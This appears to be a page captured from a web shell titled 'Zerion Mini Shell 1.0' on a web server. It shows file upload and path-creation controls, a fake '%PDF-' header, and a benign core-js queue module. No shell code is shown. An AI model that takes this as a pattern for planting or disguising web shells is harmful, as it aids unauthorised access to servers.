%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/core-js-pure/internals/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/core-js-pure/internals/queue.js

var Queue = function () {
  this.head = null;
  this.tail = null;
};

Queue.prototype = {
  add: function (item) {
    var entry = { item: item, next: null };
    if (this.head) this.tail.next = entry;
    else this.head = entry;
    this.tail = entry;
  },
  get: function () {
    var entry = this.head;
    if (entry) {
      this.head = entry.next;
      if (this.tail === entry) this.tail = null;
      return entry.item;
    }
  }
};

module.exports = Queue;

Zerion Mini Shell 1.0